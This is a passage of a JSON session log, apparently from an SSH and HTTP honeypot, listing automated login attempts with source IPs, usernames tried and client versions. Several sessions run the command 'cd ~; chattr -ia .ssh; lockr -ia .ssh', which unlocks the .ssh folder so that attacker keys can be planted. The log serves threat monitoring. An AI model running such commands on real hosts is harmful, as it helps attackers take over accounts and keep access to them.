  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1f15c5ef-c133-4f8b-ac48-32b6ec245d3d",
  "name": "thorny-emerald-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 38356,
  "username": "tester1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:36:38.346555+00:00",
  "ended_at": "2026-08-26T10:36:39.156466+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "340e0f3b-598f-4a38-a3e7-f8ed8954ff7c",
  "name": "blunt-smooth-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 38348,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:36:34.461112+00:00",
  "ended_at": "2026-08-26T10:36:36.021788+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5eb56502-3f0a-4102-9fec-4cc273286465",
  "name": "austere-plush-bobcat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 62755,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:35:56.301112+00:00",
  "ended_at": "2026-08-26T10:36:04.012517+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33f53130-2244-448b-a647-4ef6efe00ae3",
  "name": "stoic-solar-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 45730,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 590,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:32:40.368925+00:00",
  "ended_at": "2026-08-26T10:32:42.587422+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2177
 },
 {
  "id": "337fe35f-4dde-4272-a95a-ab5a3adb673a",
  "name": "windswept-nimble-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 45744,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:32:19.120103+00:00",
  "ended_at": "2026-08-26T10:32:20.406871+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8d610a02-69db-4d1d-9490-d8f5ef6def90",
  "name": "nautical-proud-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 45742,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:32:15.269616+00:00",
  "ended_at": "2026-08-26T10:32:16.923705+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "100a3746-1310-476c-b1b4-94bcbf105d1f",
  "name": "hushed-honest-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 58910,
  "username": "arkserver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 592,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:28:27.880116+00:00",
  "ended_at": "2026-08-26T10:28:29.479578+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2172
 },
 {
  "id": "3ec1e508-0fc4-4bdd-b3b9-c037881d8e08",
  "name": "solar-upland-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.115",
  "src_port": 14302,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:24:10.438335+00:00",
  "ended_at": "2026-08-26T10:24:10.908534+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0020239e-8134-4b2a-a3ef-06753559c827",
  "name": "humble-dappled-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 51480,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 615,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:23:58.690166+00:00",
  "ended_at": "2026-08-26T10:24:00.018969+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2159
 },
 {
  "id": "572618be-3aa1-474b-b7be-b2bba07f0999",
  "name": "pewter-umber-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.115",
  "src_port": 50474,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:23:38.959289+00:00",
  "ended_at": "2026-08-26T10:23:39.413226+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d9096e97-5dbf-41a5-8f62-70595ad5e015",
  "name": "languid-balmy-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 51500,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:23:37.748190+00:00",
  "ended_at": "2026-08-26T10:23:39.507480+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "569df95d-833b-4902-b677-d38593e476b3",
  "name": "sooty-faded-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 51494,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:23:35.098189+00:00",
  "ended_at": "2026-08-26T10:23:36.056229+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "24c1761f-c429-40d7-9923-a80ef14237df",
  "name": "eager-thrifty-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.42.72",
  "src_port": 40480,
  "username": "infocare",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:23:16.020682+00:00",
  "ended_at": "2026-08-26T10:23:16.472798+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6ac2a784-edae-4670-b553-c0d813feebad",
  "name": "russet-alpine-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 50276,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:21:35.009016+00:00",
  "ended_at": "2026-08-26T10:21:37.405655+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "52a051e5-9ff3-450c-99a5-42201b21d6a0",
  "name": "cunning-gritty-gadwall",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.124",
  "src_port": 40528,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:21:02.325007+00:00",
  "ended_at": "2026-08-26T10:21:02.689057+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f3c633b0-6488-4717-a0f4-c399e02644ca",
  "name": "cheerful-inland-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 36286,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 616,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:19:39.338741+00:00",
  "ended_at": "2026-08-26T10:19:41.087847+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "a3f1c7e9-a607-4ced-8b4e-75206c4da9d9",
  "name": "sterling-seaward-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 44310,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:19:20.822895+00:00",
  "ended_at": "2026-08-26T10:19:21.883890+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1546bebd-939d-44fc-9710-11270f5a35e9",
  "name": "hollow-shaded-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 36292,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:19:17.170633+00:00",
  "ended_at": "2026-08-26T10:19:19.120763+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "81dfaa14-5274-45e2-baa2-0c9e5e366e60",
  "name": "pewter-vaulted-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 53146,
  "username": "parth",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:18:54.783209+00:00",
  "ended_at": "2026-08-26T10:18:55.341758+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eb8e6693-cde6-4fbb-8abb-03ae9efdf0ee",
  "name": "nameless-western-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 38584,
  "username": "eve",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 595,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:15:29.645308+00:00",
  "ended_at": "2026-08-26T10:15:31.154005+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2123
 },
 {
  "id": "f089a933-8ae5-4c87-a85c-63e5d50ec3ce",
  "name": "burly-golden-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 61497,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:14:28.067563+00:00",
  "ended_at": "2026-08-26T10:14:30.467242+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "621dfc2f-f9ed-4584-aa13-aa1c3a8cb412",
  "name": "thorny-lonesome-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 57234,
  "username": "contact",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 954,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:11:10.996306+00:00",
  "ended_at": "2026-08-26T10:11:12.616810+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2116
 },
 {
  "id": "b33232f9-4f46-4df0-a678-2c4b872f85c7",
  "name": "forlorn-idle-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 35348,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 587,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:06:36.905884+00:00",
  "ended_at": "2026-08-26T10:06:37.685000+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2159
 },
 {
  "id": "d0f18b3a-dac2-4913-a65d-045de054620d",
  "name": "marine-earnest-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 54754,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:06:24.561905+00:00",
  "ended_at": "2026-08-26T10:06:25.801967+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e20cbadd-3257-4c38-8964-dd5243a981b7",
  "name": "steady-prickly-oriole",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "43.130.139.177",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:03:15.254414+00:00",
  "ended_at": "2026-08-26T10:18:55.141642+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f2ce7150-0e49-4b91-9027-0bd076c2fad5",
  "name": "ginger-glacial-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 35730,
  "username": "stepan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 590,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:02:17.929850+00:00",
  "ended_at": "2026-08-26T10:02:18.606257+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2103
 },
 {
  "id": "981c0191-b483-461c-8cc1-d52e38979c01",
  "name": "languid-gilded-redstart",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "34.87.77.231",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:02:11.961669+00:00",
  "ended_at": "2026-08-26T10:17:55.129920+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aede5f06-a969-4bc3-a25e-21135e6638fb",
  "name": "placid-velvet-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 52010,
  "username": "stepan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:02:02.776224+00:00",
  "ended_at": "2026-08-26T10:02:04.603903+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "be16cdf2-4e62-4bf9-8682-3a4a31ceeeeb",
  "name": "mellow-jaunty-porcupine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.144",
  "src_port": 36042,
  "username": "proxyuser",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:01:03.795498+00:00",
  "ended_at": "2026-08-26T10:01:04.458141+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e486616a-bd58-47de-bba2-43a5d9642a36",
  "name": "kindly-tranquil-tapir",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 56550,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:57:00.144455+00:00",
  "ended_at": "2026-08-26T09:57:02.237553+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "82f35aa6-2922-4cfb-81b5-c1669b932653",
  "name": "clever-shaded-sparrow",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "34.138.147.127",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:56:29.860335+00:00",
  "ended_at": "2026-08-26T10:11:55.011045+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8dc1ad00-2df7-4bdd-871a-8e06e0e66aa1",
  "name": "icy-oaken-porcupine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.107",
  "src_port": 23644,
  "username": "RPM",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:54:45.420227+00:00",
  "ended_at": "2026-08-26T09:54:45.933477+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4a478ab2-ed8f-4c13-9f2a-e0e09322a336",
  "name": "amber-glacial-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 57736,
  "username": "fedora",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 591,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T09:53:36.137746+00:00",
  "ended_at": "2026-08-26T09:53:36.915615+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2092
 },
 {
  "id": "17b4ecc2-6164-4868-b0d4-59820ff9d257",
  "name": "knotted-spirited-vervet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "59.23.3.146",
  "src_port": 57940,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:53:24.666489+00:00",
  "ended_at": "2026-08-26T09:53:26.671377+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9e17b38c-e479-4124-a8d2-58c56c165c59",
  "name": "hardy-shifting-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 36018,
  "username": "fedora",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:53:23.806112+00:00",
  "ended_at": "2026-08-26T09:53:24.559667+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "85e8e2c8-b966-4538-b5ec-263cef5bb063",
  "name": "sandy-verdant-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.178.185.141",
  "src_port": 47218,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:49:30.819684+00:00",
  "ended_at": "2026-08-26T09:49:31.894248+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7ca21b8b-9d41-42f8-8fab-2e4edfa8f393",
  "name": "sincere-kindly-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 37646,
  "username": "student8",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 589,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T09:49:12.918639+00:00",
  "ended_at": "2026-08-26T09:49:13.578868+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2081
 },
 {
  "id": "5a6dfa98-ef88-4b70-9f16-ec4da7eb6a63",
  "name": "dusky-meadow-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 44540,
  "username": "student8",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:48:59.411378+00:00",
  "ended_at": "2026-08-26T09:49:01.974431+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7f1a81f9-6b3c-4433-bb5c-cc1c8e140256",
  "name": "autumn-regal-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 37650,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:48:56.427940+00:00",
  "ended_at": "2026-08-26T09:48:58.239290+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ac83e93f-0f22-4082-9dbd-871a3d432090",
  "name": "supple-hidden-redstart",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "216.73.216.122",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:46:35.853859+00:00",
  "ended_at": "2026-08-26T10:01:54.967283+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e0866fa0-53a0-468d-a31e-215c913ed44a",
  "name": "misty-regal-skink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 61610,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:45:25.791669+00:00",
  "ended_at": "2026-08-26T09:45:40.390627+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "691d7f58-963e-4e3c-8d0f-afd33439b944",
  "name": "candid-restless-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 49824,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:40:57.539152+00:00",
  "ended_at": "2026-08-26T09:40:57.916027+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6919b2d7-cef4-46de-b8eb-173179143281",
  "name": "forlorn-fabled-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 56138,
  "username": "abcdefg",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 595,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T09:40:26.712522+00:00",
  "ended_at": "2026-08-26T09:40:27.439970+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2069
 },
 {
  "id": "c0a94a03-7aa6-4495-87ab-182aa8950ff5",
  "name": "ivory-sturdy-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 32864,
  "username": "abcdefg",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:40:11.800925+00:00",
  "ended_at": "2026-08-26T09:40:13.586561+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ece6236c-f987-4314-9f0e-e29d621cd9c1",
  "name": "sterling-glacial-goldfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 32858,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:40:08.920277+00:00",
  "ended_at": "2026-08-26T09:40:10.168837+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "08b026a0-11f7-4375-9792-b136c6e32181",
  "name": "prairie-stormy-linnet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.124",
  "src_port": 46612,
  "username": "support",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:39:50.770183+00:00",
  "ended_at": "2026-08-26T09:39:51.091544+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5da12ba0-ed84-4f60-aeec-71a795b4d3f7",
  "name": "subtle-bitter-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 61997,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:35:17.246771+00:00",
  "ended_at": "2026-08-26T09:35:18.263490+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4d030267-d3b4-4fd6-beef-9780c3c79bbd",
  "name": "gentle-frosty-kakapo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.185.89.74",
  "src_port": 59994,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:35:08.634019+00:00",
  "ended_at": "2026-08-26T09:35:10.129215+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6f10dce1-0032-4034-ac36-db91696ac280",
  "name": "russet-vaulted-owl",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "14.46.58.104",
  "src_port": 53300,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:33:39.891652+00:00",
  "ended_at": "2026-08-26T09:33:40.961480+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
